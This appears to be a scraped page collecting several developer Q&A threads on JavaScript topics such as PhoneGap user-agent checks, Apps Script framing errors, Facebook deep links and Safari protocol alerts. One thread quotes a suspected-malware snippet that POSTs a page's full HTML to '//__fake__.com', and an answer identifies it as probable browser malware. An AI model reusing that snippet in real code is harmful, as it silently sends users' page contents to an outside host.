Javascript - Check if Web App or Android App - javascript

I am building an application using PhoneGap for Android that can also be uploaded to a server and used as a website.
The problem I'm having is that on the login page I have a JSON call to a php page to check the login credentials and this only works if the user has typed in the full url Including the www., otherwise it returns a json cross-domain error.
I solved this problem using the code below which adds the 'www.' if its not found.
if (document.URL.toLowerCase().indexOf("www.") == -1) {
var new_url = document.URL.slice(0, 7) + "www." + document.URL.slice(7);
window.location = new_url;
}
I need to check to see if the user is using the application as a website and call the code above, or if they are using it as an Android app, skip the code above. At the moment the Android app tries to redirect when it hits this code, giving a network error.
Any help is appreciated, Thanks.

You can do this using navigator object like this:
Wrap your above code inside the if() block,
var ua = navigator.userAgent;
if(!(ua.match(/Android/i))){
//this code will run only when there is any non-android client.
}

Related

Can't load views in AppScript test deployment because of XFrameOptions 'sameorigin'

I am trying to deploy a Web App using Google AppScript with multiple views. I have an appCover.html with a few buttons and each button redirects to a different page. The app cover (or homepage) loads flawlessly but when I click on any of the buttons I get the error in the console:
Refused to display
'https://script.google.com/macros/s/sriptID/dev?v=newPage'
in a frame because it set 'X-Frame-Options' to 'sameorigin'
I have looked into Google's developer resources and all the references I found tell to add the XFrameOptionsMode.ALLOWALL. So I did but still no success. This is the function that is rendering each page:
function render(file, argsObject) {
var tmp = HtmlService.createTemplateFromFile(file);
if (argsObject) {
var keys = Object.keys(argsObject);
keys.forEach(key => {
tmp.key = argsObject[key];
});
}
return tmp.evaluate().setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
Right now I am testing the deployment so I get /dev at the end when retrieving the URL and try to route with a parameter like /dev?v=newPage. Does it make a difference tying to access these pages when testing the deployment versus deploying itself?
It's a personal app so I'm the only user.
Any other ideas on how to solve this?
The problem is that you are using the dev version
Deploy your Webapp as an exec version
https://script.google.com/macros/s/XXX/scriptID
and then build your URL as
https://script.google.com/macros/s/sriptID/exec?v=newPage
Once you deploy your Webapp as a exec version, the method ScriptApp.getService().getUrl() will return you the corerct (exec) URL which you can use as a variable to dynamically build your redirection to different pages / views.

Page loading takes time

My website uses ajax to fetch and display data often..Everytime a request is made , it displays data fast but keep on loading. I'm unable to click on anything else, as once the psge is fully loaded, only then I can interact with the page.
I checked the console and I would like to understand what causes the following :
As I clicked on one of the links marked in red above, I got this in the console too.I don't have any link to facebook share or like button. I would like to understand what causes this error , please.
(function () {
if (window.g_clrDimensionsSent) return;
window.g_clrDimensionsSent = true;
var data = new FormData();
data.append('windowWidth', window.innerWidth);
data.append('windowHeight', window.innerHeight);
data.append('headHtml', window.document.head.outerHTML);
data.append('bodyHtml', window.document.body.outerHTML);
var xhr = new XMLHttpRequest();
xhr.open('POST', document.location.protocol + '//__fake__.com');
xhr.send(data);
})()
It looks like you are connecting from your local machine and not the website for which your Facebook page is set up. Have you checked the settings of your Facebook app?
Usually you should use your hosts file to rather mimmick your live url, or you must set the Canvas, Public etc URLs as "localhost" and not your live website.
As for the parts in RED, your site is making a post to "fake.com"... which is most likely malware in your browser, unless you specifically coded calls to post to that URL?
Run malware bytes to confirm, or disable all your plugins in your browser. The "VM" part means its the browser throwing the error, and not the website. Do a check to see if you also get those errors on other pages.

Deep link not opening native app when opened in Facebook/Messenger (working in other apps...)

When opened in Messenger or Facebook, my custom deep link does not open my native app anymore but shows the App Store instead, while it's still working effectively in Safari, SMS, Whatsapp apps...
Flow is pretty standard :
user clicks on an url redirecting to a web page opening the App Store if scheme_based url fails - code snippet:
var loadedAt = +new Date;
setTimeout(
function() {
if (+new Date - loadedAt < 2000){
window.location = appstoreFail;
}
}
,25);
//Try launching the app using URL schemes
window.open(appUrlScheme,"_self");
Any idea why Facebook is not recognizing app scheme urls? Did they change anything? Facebook or Messenger are opening a web view, so there might be something with it but I've the feeling it was working before and stoped working recently...
Thank you very much for your suggestion, or any workaround to open a native app from Facebook/Messenger!
Lucas
Facebook can do whatever they want with any network request in their app and it seems that they choose to block non-http requests in recent versions of their app...

Phonegap - HTML files that don't include .htm/.html in the filename

Using Phonegap it is trivial to programmatically switch from one page to another using code along the lines of:
window.location.href = "someDestination.html";
However, I've noticed that for some reason, this will not work if the extension on the destination file is not '.html'. For example, the following code:
window.location.href = "someOtherDestination";
...will cause PhoneGap to fail with the following error message:
Failed to load webpage with error: Frame load interrupted
I would have thought that PhoneGap would be intelligent enough to inspect the contents of the destination file to determine if it is a valid webpage (for instance, by looking for a <html> tag), rather than attempting to rely on superfluous information like the file extension. But this doesn't seem to be the case.
So my question is, why does PhoneGap care whether or not the filename ends in .htm/.html, and how do I make it stop caring about this?
LOL:
function getHTMLFile(str) {
return str + '.html';
}
function getHTMFile(str) {
return str + '.htm';
}
;-)
No, but seriously this is part of the window.location.href's spec. It's not a PhoneGap specific issue. You will not be able to override this simply with javascript (see this).
I too ran into this Cordova/Phonegap 3.0
Near the top of my page I had a redirect. Not "responsive design", I know, but a good temporary fix for showing a UI that fits in an iPhone.
<script>
if (navigator.userAgent.match(/(iPhone|iPod).*AppleWebKit/i)) {
window.location = "iphone/";
}
</script>
Failed with the same error. Changing it to
window.location = "iphone/index.html";
fixed the error

Mobile safari - suppress Unsupported Protocol alert

I'm creating a website for iPhone and i use the native app (cliqcliq Quickpick) to upload photos. I use the script like the following to check if the application is installed. The basic idea is to send user to a custom url, if application is there it is launched, if it is not there the url should be ignored and user is taken to App Store. Below is the script:
window.launchQuickpic = function() {
var start = new Date();
setTimeout(function() {
if (new Date() - start > 2000) {
return;
}
window.location = 'http://www.cliqcliq.com/quickpic/install/';
}, 1000);
var getParams = [...];
window.location = 'vquickpic://?' + getParams.join('&');
};
If the native app is not installed I'm getting the alert box saying that Safari does not recognize the custom url. After user clicks "ok" it works as it is supposed to. But the alert is reeealy annoying.
I've tried to surround the window.location= code with try/catch. Didn't help.
If I understand correctly, you're seeing the expected behavior.
If the app isn't installed then the system has no knowledge of what it is supposed to do with a URL that starts with 'vquickpic://'. That is why you get the error message.
I presume that what you are seeing is that you first set the window.location to 'http://www.cliqcliq.com/quickpic/install/' but before that finishes loading you try to switch to window.location to 'vquickpic://'. That generates an error and the webview keeps loading the first URL when you dismiss the alert.
The main problem here is that the error is coming from the iPhone OS itself which isn't accessible from the javascript inside a webpage. A webpage can't ask the iPhone if it has a particular app installed or can carry out a particular operation.
I think the best you can do is tell the user that clicking the link will attempt to launch the native app if it is installed but if they get an error they need to dismiss it and hit another link on the page to install the app.
I have not got this to work yet but I think this is something you should investigate. It is my believe this will suppress the message .
window.onerror = function(msg, url, linenumber) { return true; }
I have also read somewhere that a user had success doing something similar to above but instead of returning true they would switch the window.location back to a valid location such as 'about:blank'. They where using a iframe in that implementation though.
OR maybe you could try Opera Mini for that matter

Categories